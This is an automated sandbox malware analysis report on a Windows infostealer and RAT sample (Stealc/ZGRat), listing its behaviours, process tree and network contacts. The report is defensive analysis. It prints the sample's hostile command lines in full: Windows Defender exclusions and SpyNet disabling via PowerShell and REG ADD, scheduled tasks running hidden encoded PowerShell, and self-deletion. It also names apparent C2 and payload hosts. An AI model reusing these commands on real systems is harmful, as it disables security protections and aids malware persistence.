Malware Analysis Report

2025-08-11 06:22

Sample ID 240403-ng89vace3y
Target ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35
SHA256 ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35
Tags
stealc zgrat rat spyware stealer themida discovery evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35

Threat Level: Known bad

The file ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35 was found to be: Known bad.

Malicious Activity Summary

stealc zgrat rat spyware stealer themida discovery evasion persistence trojan

Detect ZGRat V1

Stealc

ZGRat

Modifies firewall policy service

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Drops file in Drivers directory

Downloads MZ/PE file

Checks computer location settings

Checks BIOS information in registry

Drops startup file

Reads data files stored by FTP clients

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Themida packer

Checks installed software on the system

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Checks whether UAC is enabled

Enumerates connected drives

Looks up external IP address via web service

Drops desktop.ini file(s)

Accesses cryptocurrency files/wallets, possible credential harvesting

Drops Chrome extension

Blocklisted process makes network request

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in System32 directory

Drops file in Program Files directory

Drops file in Windows directory

Enumerates physical storage devices

Program crash

Suspicious behavior: EnumeratesProcesses

Runs ping.exe

Checks SCSI registry key(s)

Modifies data under HKEY_USERS

Creates scheduled task(s)

Checks processor information in registry

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies system certificate store

Modifies registry class

Suspicious behavior: LoadsDriver

Suspicious use of SendNotifyMessage

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-03 11:23

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-03 11:23

Reported

2024-04-03 11:25

Platform

win10v2004-20240226-en

Max time kernel

12s

Max time network

108s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

ZGRat

rat zgrat

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1904519900-954640453-4250331663-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5AOmCHxBrCJSR515fSyuZOJd.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QoPBbiWXTSxn1h7jYClQvpvA.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wS2hmpTxX2EbNFUNsepVX6OI.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe N/A

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2228 set thread context of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2228 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 2228 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 2228 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
PID 1412 wrote to memory of 4152 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe
PID 1412 wrote to memory of 4152 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe
PID 1412 wrote to memory of 4152 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe
PID 4152 wrote to memory of 484 N/A C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe C:\Users\Admin\AppData\Local\Temp\u37c.0.exe
PID 4152 wrote to memory of 484 N/A C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe C:\Users\Admin\AppData\Local\Temp\u37c.0.exe
PID 4152 wrote to memory of 484 N/A C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe C:\Users\Admin\AppData\Local\Temp\u37c.0.exe
PID 1412 wrote to memory of 1844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe
PID 1412 wrote to memory of 1844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe
PID 1412 wrote to memory of 1844 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe
PID 1844 wrote to memory of 4580 N/A C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe
PID 1844 wrote to memory of 4580 N/A C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe
PID 1844 wrote to memory of 4580 N/A C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe

"C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"

C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe

"C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe"

C:\Users\Admin\AppData\Local\Temp\u37c.0.exe

"C:\Users\Admin\AppData\Local\Temp\u37c.0.exe"

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

"C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe" --silent --allusers=0

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2a4,0x2a8,0x2ac,0x2a0,0x2b0,0x6fcfe1d0,0x6fcfe1dc,0x6fcfe1e8

C:\Users\Admin\AppData\Local\Temp\u37c.1.exe

"C:\Users\Admin\AppData\Local\Temp\u37c.1.exe"

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\lyDAM8InUFWevy8N5a5MLMA7.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\lyDAM8InUFWevy8N5a5MLMA7.exe" --version

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4152 -ip 4152

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4152 -s 1512

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

"C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1844 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240403112340" --session-guid=e416138d-61a7-4a1b-95a9-55ea05d02054 --server-tracking-blob=MDJlZjNhM2NkMTIwMWU5ODAwYzUzNzYyYzZlZDI0ZDBlYmE5M2RlYWQ0ZDk4YWMyNGJlOThiNjkyNTMyYmI0Yjp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIxNDM0MTIuMzAwMiIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjczOWUzMGIwLTI0NDUtNDNlNy05MjQzLTFlNGE1MzgyZjYzMiJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=B805000000000000

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x290,0x288,0x284,0x28c,0x2c0,0x6ea0e1d0,0x6ea0e1dc,0x6ea0e1e8

C:\Users\Admin\Pictures\zfcuF2OfGKaSOczCxh9gn7fi.exe

"C:\Users\Admin\Pictures\zfcuF2OfGKaSOczCxh9gn7fi.exe"

C:\Users\Admin\Pictures\NEpeZwx87NgCOqLxxQfqAoe0.exe

"C:\Users\Admin\Pictures\NEpeZwx87NgCOqLxxQfqAoe0.exe"

C:\Users\Admin\AppData\Local\Temp\7zSB4AA.tmp\Install.exe

.\Install.exe /dEKGWdidYWnQ "385118" /S

C:\Users\Admin\AppData\Local\Temp\7zSBE2F.tmp\Install.exe

.\Install.exe /dEKGWdidYWnQ "385118" /S

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=2836 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:3

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

C:\Users\Admin\Pictures\yRkw6QVBdHxeWyiJBjhjE5C8.exe

"C:\Users\Admin\Pictures\yRkw6QVBdHxeWyiJBjhjE5C8.exe"

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gGjkHmMuD" /SC once /ST 03:57:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gMooXBDtJ" /SC once /ST 03:19:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gMooXBDtJ"

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gGjkHmMuD"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3324 --field-trial-handle=2228,i,521073434451423547,2311651514500527526,262144 --variations-seed-version /prefetch:8

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gMooXBDtJ"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gGjkHmMuD"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\FBSTPzu.exe\" hl /Ttsite_idgAO 385118 /S" /V1 /F

C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\aZPyxGm.exe\" hl /mKsite_idHaQ 385118 /S" /V1 /F

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\assistant_installer.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\assistant_installer.exe" --version

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\assistant_installer.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x250040,0x25004c,0x250058

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\BGIIDAEBGC.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 484 -ip 484

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 484 -s 3436

C:\Users\Admin\AppData\Local\Temp\BGIIDAEBGC.exe

"C:\Users\Admin\AppData\Local\Temp\BGIIDAEBGC.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\BGIIDAEBGC.exe

C:\Windows\SysWOW64\PING.EXE

ping 2.2.2.2 -n 1 -w 3000

Network

Country Destination Domain Proto
US 20.231.121.79:80 tcp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 pastebin.com udp
US 8.8.8.8:53 yip.su udp
US 172.67.34.170:443 pastebin.com tcp
US 104.21.79.77:443 yip.su tcp
US 8.8.8.8:53 piramidglobaltobacco.id udp
US 8.8.8.8:53 shipofdestiny.com udp
DE 185.172.128.144:80 185.172.128.144 tcp
US 8.8.8.8:53 www.charityengine.com udp
US 8.8.8.8:53 sty.ink udp
US 8.8.8.8:53 operandotwo.com udp
US 8.8.8.8:53 namemail.org udp
US 8.8.8.8:53 net.geo.opera.com udp
US 65.97.63.40:443 www.charityengine.com tcp
US 172.67.152.98:443 shipofdestiny.com tcp
US 172.67.152.98:443 shipofdestiny.com tcp
US 104.21.13.170:443 sty.ink tcp
US 104.21.13.170:443 sty.ink tcp
US 172.67.160.247:443 operandotwo.com tcp
NL 185.26.182.112:80 net.geo.opera.com tcp
NL 185.26.182.112:443 net.geo.opera.com tcp
US 8.8.8.8:53 lawyerbuyer.org udp
US 8.8.8.8:53 guseman.org udp
SG 217.21.73.190:443 piramidglobaltobacco.id tcp
US 8.8.8.8:53 77.79.21.104.in-addr.arpa udp
US 8.8.8.8:53 170.34.67.172.in-addr.arpa udp
US 8.8.8.8:53 23.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 144.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 98.152.67.172.in-addr.arpa udp
US 8.8.8.8:53 170.13.21.104.in-addr.arpa udp
US 8.8.8.8:53 247.160.67.172.in-addr.arpa udp
US 8.8.8.8:53 112.182.26.185.in-addr.arpa udp
US 8.8.8.8:53 40.63.97.65.in-addr.arpa udp
US 8.8.8.8:53 e.392391234.xyz udp
FR 95.164.45.22:443 e.392391234.xyz tcp
FR 95.164.45.22:443 e.392391234.xyz tcp
DE 185.172.128.90:80 185.172.128.90 tcp
US 8.8.8.8:53 22.45.164.95.in-addr.arpa udp
US 8.8.8.8:53 190.73.21.217.in-addr.arpa udp
